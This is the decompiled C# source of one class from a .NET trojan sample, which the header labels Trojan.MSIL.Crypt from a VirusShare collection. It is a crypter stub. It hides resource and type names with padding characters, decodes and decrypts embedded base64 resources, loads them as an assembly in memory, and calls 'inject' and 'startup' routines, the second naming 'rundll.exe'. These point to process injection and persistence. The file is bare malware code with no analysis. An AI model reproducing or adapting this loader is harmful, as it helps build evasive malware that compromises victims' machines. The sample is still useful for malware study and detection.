// Decompiled with JetBrains decompiler
// Type: ĦĕĵČĄ
// Assembly: Predator, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: C3700C57-E52F-42E7-A410-A2CC55101D95
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.jc-ed0c4139a2a96188d2701f0d968de74e11c18aa238d82dd8fadc5631a0630af2.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections;
using System.Reflection;
using System.Resources;

[StandardModule]
internal sealed class ĦĕĵČĄ
{
  public static object ĶēĢĨčĚĚ()
  {
    ResourceManager resourceManager = new ResourceManager("//////E////S///C////r///y//p///////t/////e/////r////////".Replace("/", ""), Assembly.GetExecutingAssembly());
    new ArrayList() { (object) "hawhwhawwayawyhaedhxxhfhfx" };
    byte[] rawAssembly = ĬąĺįēĤĤģħđČđĵĈĈĖģ.ĥĖıĮĉħąĶĳąĔĬĆ(ıāĉąĨĺđ.ĮĔĖĲĔĚĮĶĒĦĒĆħĄăĥČĤďĒĳĒ(Convert.FromBase64String(Conversions.ToString(resourceManager.GetObject(",,,,,,R,,,,,,,,,,,,,e,,,,,,,f,,,,,,,,,,,,l,,,,,,,,,,e,,,,,c,,t,".Replace(",", ""))))));
    byte[] numArray = ĬąĺįēĤĤģħđČđĵĈĈĖģ.ĥĖıĮĉħąĶĳąĔĬĆ(ıāĉąĨĺđ.ĮĔĖĲĔĚĮĶĒĦĒĆħĄăĥČĤďĒĳĒ(Convert.FromBase64String(Conversions.ToString(resourceManager.GetObject(",,,x,,,,,,C,,,,,o,,,,,,,,,,,,,,c,,,,,,,a,,,i,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,n,,,,,,e,,,,".Replace(",", ""))))));
    Assembly.Load(rawAssembly).GetType("W,,,,i,n,,,,,,,,,,d,,,ow,,,s,,,,,A,,,,p,,,pl,,,,,i,,,,c,,,,,a,,,,t,,i,,,,o,,,,n,,,2,,,,.m,,,od,,,u,l,,,e,1,,,".Replace(",", "")).GetMethod(",,,,i,,,,,n,,,,j,,,,e,c,t,,".Replace(",", "")).Invoke((object) null, new object[1]
    {
      (object) new ArrayList() { (object) numArray }
    });
    Assembly.Load(rawAssembly).GetType("W,,,,,,,,,,,,,i,n,,,,,,,d,,,ow,,,s,,,,,A,p,,,pl,,i,,,,c,,,,,at,,io,,,,n,,,2,,,,.m,,,od,,,u,l,,,e,1,,,".Replace(",", "")).GetMethod(",,,s,,,,,,,,t,,,,,,a,,,,,,r,,t,,,,,,,u,p,,".Replace(",", "")).Invoke((object) null, new object[1]
    {
      (object) new ArrayList()
      {
        (object) ",,,,,,,,,,,,,,,,,,,,,,rundll.exe,,,,,,,,,,".Replace(",", "")
      }
    });
    object obj;
    return obj;
  }
}
